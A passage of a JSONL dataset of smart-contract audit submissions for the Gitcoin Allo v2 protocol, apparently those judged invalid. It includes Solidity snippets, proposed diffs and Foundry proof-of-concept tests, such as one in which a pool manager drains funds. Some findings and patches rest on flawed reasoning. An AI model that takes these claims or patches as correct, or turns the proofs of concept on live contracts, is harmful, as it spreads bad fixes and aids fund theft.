strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n- if (baseFee > 0) {\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount == msg.value)) || (_token != NATIVE && baseFee == msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n\n+ if (baseFee > 0) { \n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n+ Pool storage pool = pools[_poolId];\n+ address _token = pool.token;\n \n+ if(_token == NATIVE) require(msg.value == _amount);\n \n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/228.md"}} +{"title":"Stucked ETH in VotingMerkleDistributionStrategy contract","severity":"info","body":"Fantastic Chocolate Mantaray\n\nmedium\n\n# Stucked ETH in VotingMerkleDistributionStrategy contract\nIn `DonationVotingMerkleDistributionDirectTransferStrategy` there is a `receive()` function to accept native tokens, but there is no way to get those funds out of the contract.\n## Vulnerability Detail\n`DonationVotingMerkleDistributionDirectTransferStrategy` is the parent contract and neither of its child has a functionallity to do something with the contract's balance.\nThere is a receive function to accept ETH from any address and from any call, where signature does not match existing methods.\n```solidity\n /// @notice Contract should be able to receive ETH\n receive() external payable {}\n```\nBut such functionallity is not needed and could only lead to stucked resources.\n## Impact\n- Stucked native tokens in strategy contract.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L842-L843\n## Tool used\n\nManual Review\n\n## Recommendation\n- Remove `receive` function, or create a function to distribute/withdraw native tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/227.md"}} +{"title":"DoS if the _createPool() is called and if `manager == address(0)`","severity":"info","body":"Bent Alabaster Hyena\n\nfalse\n\n# DoS if the _createPool() is called and if `manager == address(0)`\nDoS if the _createPool() is called and if `manager == address(0)`\n## Vulnerability Detail\nIn _createPool() \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L459-L466\n\nin this for loop if one of the ```manager == address(0)``` then the loop will never increment because of \n```Solidity\nunchecked {\n ++i;\n }\n```\n and will DoS and the pool will not be created in that case\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L459-L466\n```solidity\nfor (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\ndon't use\n ```solidity\nunchecked {\n ++i;\n }\n ```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/225.md"}} +{"title":"baseFee won't be transferred to the treasury if the Native token is not eth","severity":"info","body":"Bent Alabaster Hyena\n\nhigh\n\n# baseFee won't be transferred to the treasury if the Native token is not eth\nbaseFee won't be transferred to the treasury if the Native token is not eth\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L476\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L87-L92\n## Vulnerability Detail\n```Solidity\n function _transferAmount(address _token, address _to, uint256 _amount) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n```\nIn the above code snippet the solady's `SafeTransferLib.safeTransferETH(_to, _amount);` is called and \n```Solidity\n/// @dev Sends `amount` (in wei) ETH to `to`.\n function safeTransferETH(address to, uint256 amount) internal {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(call(gas(), to, amount, gas(), 0x00, gas(), 0x00)) {\n mstore(0x00, 0xb12d13eb) // `ETHTransferFailed()`.\n revert(0x1c, 0x04)\n }\n }\n```\nabove is the safeTransferETH() that is only used to transfer eth in wei and since the protocol says that NATIVE token can be Eth/polygon or any other token then the problem is if the native token is some token with decimal of less than or more than 18 the base fee won't get transferred to the treasury. \n## Impact\nbaseFee won't be transferred to the treasury if the Native token is not eth\n## Code Snippet\n```Solidity\n function _transferAmount(address _token, address _to, uint256 _amount) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n```\n \n## Tool used\n\nManual Review\n\n## Recommendation\nDon't use solady for this purpose Consider using OpenZeppelin's SafeERC20 instead.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/224.md"}} +{"title":"Front-running risk in the process of removing pool managers","severity":"info","body":"Rich Jade Wolf\n\nmedium\n\n# Front-running risk in the process of removing pool managers\nThe protocol contains logic to add or remove pool managers. In the event that a pool manager loses the trust of the pool administrator, the administrator may wish to remove that manager. However, there is a vulnerability where the untrusted pool manager can front-run the administrator's transaction and empty the pool.\n\n## Vulnerability Detail\n1. The admin calls the `removePoolManager` function to remove an untrusted pool manager.\n2. The untrusted pool manager also front-runs the admin's transaction by calling the `setPoolActive(false)` function to deactivate the pool and the `withdraw` function to empty the funds.\n\n## Impact\nThis vulnerability allows untrusted managers to empty the pool's funds if they choose to do so.\n\n## Code Snippet\n```solidity\n function test_untrustedPoolMangerAttack() public {\n address untrustedManager = pool_manager1();\n\n // fund pool\n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n vm.prank(pool_admin());\n allo().addPoolManager(poolId, untrustedManager);\n assertTrue(allo().isPoolManager(poolId, untrustedManager));\n \n // --- Start attack transaction\n vm.prank(untrustedManager); \n strategy.setPoolActive(false);\n\n vm.prank(untrustedManager); \n strategy.withdraw(9.9e17);\n // --- End attack transaction\n\n assertEq(address(allo()).balance, 0);\n assertEq(untrustedManager.balance, 9.9e17);\n } \n```\n\n## Tool used\n`forge test`\nThe snippet can be copied to `test/foundry/strategies/RFPSimpleStrategy.t.sol` and executed\n\n## Recommendation\nConsider [limiting the rights](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295C14-L295C22) of managers to withdraw funds from the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/223.md"}} +{"title":"Creating a Pool Expects Amount Greater than Intended baseFee + amount","severity":"info","body":"Fantastic Chocolate Mantaray\n\nmedium\n\n# Creating a Pool Expects Amount Greater than Intended baseFee + amount\nIf baseFee > 0, users should always overpay due to issues within the _createPool function:\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n // @audit the rule is that msg.value should always be grater than the necessary amount. \n // If base fee is 10 and amount is 100, then msg.value of 110 should be enough, but the transaction will revert and will always \n // expect payment in advance.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n## Vulnerability Detail\nThe issue lies here: (baseFee + _amount >= msg.value). The comment is misleading because the statement baseFee + _amount should be >= than msg.value is not accurate. If it is greater than msg.value, paying the baseFee would be done from the Allo balance. The same inequality is presented inside the if statement, which defines when to revert. However, using = causes the function to revert every time a user provides exactly the required baseFee, which is not the intended behavior.\n\n## Impact\nThis issue results in poor user experience and unintended contract behavior. Users are required to pay more from their accounts than necessary.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nThe recommendation is to remove the = from inside the if statement:\n```solidity\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/220.md"}} +{"title":"Pool can't be created with non native token denomination","severity":"info","body":"Bent Alabaster Hyena\n\nhigh\n\n# Pool can't be created with non native token denomination\nPool can't be created with non native token denomination.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L476\n```solidity\n _transferAmount(NATIVE, treasury, baseFee);\n ```\n## Vulnerability Detail\nIn `allo.sol` in Line 476\n\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\nif (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n```\n if _token != Native and if \n```solidity \nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value))\n```\nthis condition is false then the protocol is using `_transferAmount(NATIVE, treasury, baseFee);` and passing all the amount as native token which is wrong since the pool is created with non native token the amount transferred should not be a native token\n## Impact\nThis can impact the protocol severely while creating a pool with non native token.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L476\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n poolId = ++_poolIndex;\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS(); \n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\n## Tool used\nManual Review\n\n## Recommendation\nUse a method where transfer is based on the condition in sync with the _token parameter.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/219.md"}} +{"title":"In the RFP strategies funds can be distributed to recipients with rejected milestones.","severity":"info","body":"Macho Maroon Scorpion\n\nmedium\n\n# In the RFP strategies funds can be distributed to recipients with rejected milestones.\nIn the RFP simple and committee strategies, a pool manager is a trusted role, and is able to reject a user's submitted milestone. This changes the milestone status to rejected. However, this has no effect on the ability to distribute funds to the recipient. \n\n\n## Vulnerability Detail\n\nIn the `RFPSimpleStrategy`, the poolManager allocates the proposal to a recipient. Following which the recipient submits a poof of an upcoming milestone. Which changes the status of the milestone to `Pending`. If the pool manager rejects the milestone, it sets the milestone status to `Rejected`. \n\nFor example:\n- Let's say `Alice` registers to build the Dapp for `Bob`.\n- `Bob` allocates and accepts Alice as the recipient.\n- `Bob` sets milestones at 20%,30%,50%. Initial milestone status is `none` by default.\n- `Alice` submits `milestone#1`, which then sets the milestone status to `Pending`.\n- `Bob` rejects the milestone, which sets the milestone status to `Rejected` \n- Assume a case where another pool manager, say `Charlie` isn't aware of `Bob's` transaction to reject the milestone. And proceeds to distribute the funds to `Alice`. The transaction will not revert and `Alice` ends up receiving 20% of the proposal bid in spite of her milestone getting rejected earlier by `Bob`.\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n\n## Impact\nThis disrupts the stipulated guidelines for the RFP strategies, as the distribution of funds hinges on the recipient's milestone status being marked as `Pending` rather than `Rejected`. Accordingly, fund dispersal should only occur if a milestone hasn't been rejected and proper proof for the milestone's completion has been submitted.\nHowever, this issue has been classified as medium severity since the initiation of fund distribution is contingent upon the actions of the pool manager.\n\n## Code Snippet\n\n```solidity\n\n function test_rejectMilestone_RecipientStillGetsPaid_PASS() public {\n address recipientId = __register_setMilestones_1_2();\n __allocate(recipientId);\n assertEq(uint8(strategy.getMilestoneStatus(0)), uint8(IStrategy.Status.None));\n assertEq(uint8(strategy.getMilestoneStatus(0)), uint8(IStrategy.Status.None));\n __rejectMilestone();\n assertEq(uint8(strategy.getMilestoneStatus(0)), uint8(IStrategy.Status.Rejected));\n __fundPool();\n vm.expectEmit(true, false, false, true);\n emit Distributed(recipientId, recipientAddress(), 7e17, pool_admin());\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n\n\n function __fundPool() internal returns (address recipientId) {\n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n }\n\n function __rejectMilestone() internal {\n vm.expectEmit();\n emit MilestoneStatusChanged(0, IStrategy.Status.Rejected);\n vm.prank(pool_admin());\n strategy.rejectMilestone(0);\n RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);\n assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Rejected));\n }\n\n```\n\n## Tool used\n\nFoundry\nVS Code\n\n## Recommendation\n\n- Consider confirming the milestone submitted by the recipient, ensuring that it aligns with the expected metadata parameters and possesses a `Pending` status following the submission of milestone proof by the recipient.\n\n- Next, ascertain that the milestone has not been marked as `Rejected` by one of the pool managers before proceeding to distribute the funds to the recipient via `RFPSimpleStrategy#_distribute()` or `RFPCommitteeStrategy#_distribute()` methods.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/218.md"}} +{"title":"Lack of contract existence check in `Anchor` could lead to loss of funds","severity":"info","body":"Urban Strawberry Monkey\n\nmedium\n\n# Lack of contract existence check in `Anchor` could lead to loss of funds\nThe `Anchor#execute()` function uses Solidity's low-level `call()` function to interact with external contracts and send native tokens. It doesn't check if the contract exists, which can lead to potential fund losses in two cases:\n\n- The contract at the given address was deleted using `SELFDESTRUCT`;\n- A typo error leads to a call being made to an Externally Owned Account (EOA) address that lacks a deployed contract and is not under the control of the pool owner;\n\n## Vulnerability Detail\nThe following code is used in the `Anchor` contract to perform interactions with external contracts:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L74-L78\n\nWhile there is a zero-address check before the call, there is no check for contract existence via `extcodesize()`.\n\n`call` operations return `true` even if the `_target` address is not a contract, so it is\nimportant to include contract existence checks alongside such operations.\n\nThe [Solidity Language Documentation](https://docs.soliditylang.org/en/latest/control-structures.html#error-handling-assert-require-revert-and-exceptions) states the following:\n> The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.\n\n**Example scenario:**\n- Bob, a profile owner, calls `execute()` with `_target` set to an address that should be a\ncontract; however, the contract was self-destructed. Even though the contract at this\naddress no longer exists, the operation still succeeds.\n\n## Impact\nPossible loss of funds\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L64-L84\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a contract existence check before the `call()` operation in the\n`Anchor#execute()` function. If the `call()` operation is expected to send native tokens to an externally owned address (EOA), ensure that the check is performed **only** if `_data.length` is not zero.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/217.md"}} +{"title":"PoolManager can distribute token when Allocation is not ended yet in QVBaseStrategy.sol","severity":"info","body":"Quiet Seaweed Beaver\n\nmedium\n\n# PoolManager can distribute token when Allocation is not ended yet in QVBaseStrategy.sol\nPoolManager can call distribute function to distribute token when Allocation is not ended yet in edge case due to wrong modifier\n\n## Vulnerability Detail\nFunction `QVBaseStrategy#_distribute` distribute the tokens to the recipients when allocation end by onlyAfterAllocation modifier:\n\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender) internal virtual override onlyPoolManager(_sender) onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n\n`onlyAfterAllocation` modifier use `_checkOnlyAfterAllocation` function to check if allocation is ended or not:\n\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\nProblem is this checking is not true. when `block.timestamp` = `allocationEndTime`, allocation is not ended yet, but still pass this checking condition, which lead to `onlyAfterAllocation` modifier passed\n\n## Impact\nPoolManager can distribue token when allocation is not ended yet, which against the documentation\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L326-#L328\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L473-#L477\n\n## Tool used\nManual Review\n\n## Recommendation\nChange checking condition to:\n\n function _checkOnlyAfterAllocation() internal view virtual {\n - if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n + if (block.timestamp <= allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/216.md"}} +{"title":"Not limited to create profile","severity":"info","body":"Expert Stone Porcupine\n\nfalse\n\n# Not limited to create profile\n\nOn createProfile function, it is not limited to create profile and anchor.\n\n## Vulnerability Detail\n\nThe createProfile function can be called by anyone and \"Anchors\" can be generated freely with the random input nonce value.\n\t\n## Impact\n\nAttacker can call \"createProfile\" function with random nonce value to deploy a number of \"Anchors\" contract without any limit. \nIt might be result that Allo contract cannot be used.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L119\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWe can limit this function call by\n1. limiting \"nonce\" value\n2. limiting calling time","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/215.md"}} +{"title":"PoolManager in RFPSimpleStrategy.sol can withdraw funds in anytime","severity":"info","body":"Quiet Seaweed Beaver\n\nmedium\n\n# PoolManager in RFPSimpleStrategy.sol can withdraw funds in anytime\nPoolManager can withdraw funds from pool anytime, which is against the document\n\n## Vulnerability Detail\nIn https://docs.allo.gitcoin.co/allo/flow-of-funds, it is said that:\n\n Once a pool has been funded, there is no way to withdraw funds from the pool other than to distribute them through the allocation strategy.\nBut in SFPSimpleStrategy.sol, PoolManager can withdraw funds at any time:\n\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\nThe `onlyInactivePool` modifier can be bypassed easily by set Pool to inactive by using `RFPSimpleStrategy#setPoolActive` function\n\n## Impact\nCode is not same as the document\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L294-#L301\n\n## Tool used\nManual Review\n\n## Recommendation\nOnly allow poolManager to withdraw when all milestones end","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/212.md"}} +{"title":"Users can accidentally send too much tokens to the treasury with the fee cut.","severity":"info","body":"Obedient Basil Lizard\n\nmedium\n\n# Users can accidentally send too much tokens to the treasury with the fee cut.\nUsers can accidentally send too much tokens to the treasury with the fee cut.\n## Vulnerability Detail\nIf an update fee transaction gets executed before fund pool transaction the user who funded the pool will lose a bigger percentage of his tokens, than he originally accounted for.\n\n1. User send a TX to [fund the pool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345) with 1000 DAI with current fee of 0%\n2. Owner sends a TX to [update the fee percentage](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L227-L229) from 0% to 20%\n3. Owner TX gets executed first, due to:\n- Re-org on the chain\n- Higher gas payment\n- User TX being stuck in the mem pool for quite a while \n4. User accidentally send **200 DAI** to the treasury and **800 DAI** to the pool due to [this fee](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514) being updated. If he knew the fee would be 20% he would have never funded the pool.\n\nSame applies for [updateBaseFee](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L234-L236).\n## Impact\nLoss of funds for the user.\n\n## Code Snippet\n```jsx\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();// _amount * percentFee / 1e18\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nFor those kinds of state updates it is recommended to use time-lock or use some slippage protection and deadline for the user.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/210.md"}} +{"title":"QVStrategy : Funds locked if no registered recipient or no recipientStatus >= reviewThreshold","severity":"info","body":"Rapid Lead Cricket\n\nmedium\n\n# QVStrategy : Funds locked if no registered recipient or no recipientStatus >= reviewThreshold\nBoth RFP and Merkle strategies have an in-build `withdraw()` function that allow poolManagers to withdraw funds in case of problem/no recipient registration/no recipient acceptation.\nHowever QVStrategy doesn't have one , so in case of no registration or no acceptation of a recipient before `registrationEndTime` is passed , funds deposited on the strategy contract will be lock.\n\n## Vulnerability Detail\nAs explained above, both RFP and Merkle strategies have withdraw() function : \n\n- DonationVotingMerkleDistributionBaseStrategy.sol : \n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n //E must be one month after allocationEndTime\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n IAllo.Pool memory pool = allo.getPool(poolId);\n if (_amount > poolAmount) { \n revert INVALID();\n }\n poolAmount -= _amount;\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\n- RFPSimpleStrategy.sol : \n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\nBut QV strategy doesn't implement an in-built withdraw function, so the only process to distribute funds locked on a QV Strategy would be to have a recipient reviewed by `poolManager` more than `reviewThreshold` time before `registrationEndTime` :\n```solidity\n//E Add 1 Review for recipient(s) application(s) and set status of the corresponding recipient struct ONLY if it passes the threshold\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses) external virtual\n onlyPoolManager(msg.sender) //E if hasRole(pools[_poolId].managerRole, _address) || _isPoolAdmin(_poolId, _address);\n onlyActiveRegistration\n {\n .....\n for (uint256 i; i < recipientLength;) {\n ....\n //E mapping(address => mapping(Status => uint256)) public reviewsByStatus; //E recipientId -> status -> count\n reviewsByStatus[recipientId][recipientStatus]++;\n\n //E check if it passed threshold of reviewing\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { //E @question what if reviewThreshold change ? PoolManager has to resend this tx\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n ...\n }\n }\n```\nAnd then have a poolManager calling `_distribute()` function using Allo.sol (this function can be called anytime after `allocationEndTime`)\n\n**However if no recipient passes `reviewThreshold` or no recipient at all register for this strategy, funds will be locked on the strategy contract.**\n(We could think about modifying timestamps using `updatePoolTimestamps()` but this function reverts `if block.timestamp > _registrationStartTime`)\n**So once the process of registration is launch on a QV Strategy there is no other possibilities to unlock the funds than having a recipient registering and accepted before end of `registrationEndTime`, if one of these conditions failed, funds will be locked.**\n\nI validate this problem with sponsor who answered \"Ah you're right ! We should have a withdraw function. Good catch on that\"\n\n## Impact\n\nIf between `registrationStartTime` and `registrationEndTime` there is no accepted registration , funds will be locked on this contract with no way to unlock them.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L369\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a `withdraw()` function for `poolManagers` on the QV Strategy in the same model as there is one in RFP Strategy\n\n\nNB : it is also true if valid allocator forgets to vote as amount sent is calculated in `_getPayout()` function only if `totalRecipientVotes != 0` and even if this case would be strange it would necessite a `withdraw()` 